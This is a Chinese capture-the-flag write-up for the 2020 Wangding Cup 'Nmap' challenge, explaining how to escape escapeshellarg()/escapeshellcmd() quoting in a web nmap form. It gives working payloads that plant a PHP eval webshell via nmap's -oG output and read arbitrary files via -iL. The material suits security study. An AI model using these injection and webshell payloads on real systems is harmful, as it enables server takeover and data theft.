[网鼎杯 2020 朱雀组]Nmap

原理

nmap写入文件连接木马

两个函数绕过
escapeshellarg()
escapeshellcmd()

解题过程

首先进入靶场看到nmap执行框

填入ip 127.0.0.1,可以正常得到nmap执行结果

那如何通过nmap拿到flag呢,参考nmap的参数
-iL 读取文件内容,以文件内容作为搜索目标
-o 输出到文件
-oN 标准保存
-oX XML保存
-oG Grep保存
-oA 保存到所有格式

解法一

我们可以使用-oG参数来写入后门获取flag
估计这题的后台就是用了一条简单的拼接语句,类似于:"nmap".'$cmd',之类的,闭合符号 至于为啥不是"nmap".$cmd 可能脑洞经验丰富吧...

可以构造payload为:'<?php @eval($_POST["a"]);?> -oG b.php' nmap 'ip' 闭合后成为nmap ''<?php eval($_POST["q"]);?> -oG b.php'' 但是提示hack,所以有过滤,猜想应该是过滤了php,可以换后缀名为phtml,至于<?php ?>则可以替换为短标签 最终payload为:' <?=@eval($_POST["a"]);?> -oG b.phtml ' 或者 ' <? echo @eval($_POST["a"]);?> -oG b.phtml ' 之后连接木马执行系统命令找到flag就行了http://46eba4f8-49d8-438b-bbda-cc15d6728b4c.node4.buuoj.cn:81/b.phtml <?=$a?> <?=(表达式)?> 就相当于 <?php echo $a?> <?php echo (表达式)?>

解法二

iL来读取flag,然后输出到指定文件,访问该文件进行读取
读取时会提示搜索内容失败,然后会写出来内容是啥,从而实现任意文件读取。

最后就构造了payload:127.0.0.1' -iL /flag -o a 根据/a'来访问

看到这里,我觉得原作者对第一解的分析不太对,第二解是利用了两个函数来绕过,说明第一问也要经过两个函数,也会对单引号进行过滤 我猜测后端代码应该是"nmap".$cmd 然后传入payload ' <? echo @eval($_POST["a"]);?> -oG b.phtml ' 经过escapeshellarg()函数会将payload变为 ''\'' <? echo @eval($_POST["a"]);?> -oG b.phtml '\''' 在经过escapeshellcmd()函数会将payload变为 ''\\'' <? echo @eval($_POST["a"]);?> -oG b.phtml '\\''' 后面的空格刚好能将\给隔开, 验证就是如果我输入payload:'<? echo @eval($_POST["a"]);?> -oG b.phtml ' 只去掉前一个空格可以绕过,去掉后一个空格则无法绕过。因为去掉前一个空格,会将\<? echo @eval($_POST["a"]);?>写入文件,但是无伤大雅,代码仍可以利用。

参考文章:https://blog.csdn.net/qq_63701832/article/details/128793013


__EOF__

本文作者BEONTHE
本文链接https://www.cnblogs.com/BEONTHE/p/17766181.html
关于博主:评论和私信会在第一时间回复。或者直接私信我。
版权声明:转载请注明来源
声援博主:UP UP UP !!!
posted @   圆弧状态  阅读(177)  评论(0编辑  收藏  举报
相关博文:
阅读排行:
· 阿里最新开源QwQ-32B,效果媲美deepseek-r1满血版,部署成本又又又降低了!
· 开源Multi-agent AI智能体框架aevatar.ai,欢迎大家贡献代码
· Manus重磅发布:全球首款通用AI代理技术深度解析与实战指南
· 被坑几百块钱后,我竟然真的恢复了删除的微信聊天记录!
· AI技术革命,工作效率10个最佳AI工具
点击右上角即可分享
微信分享提示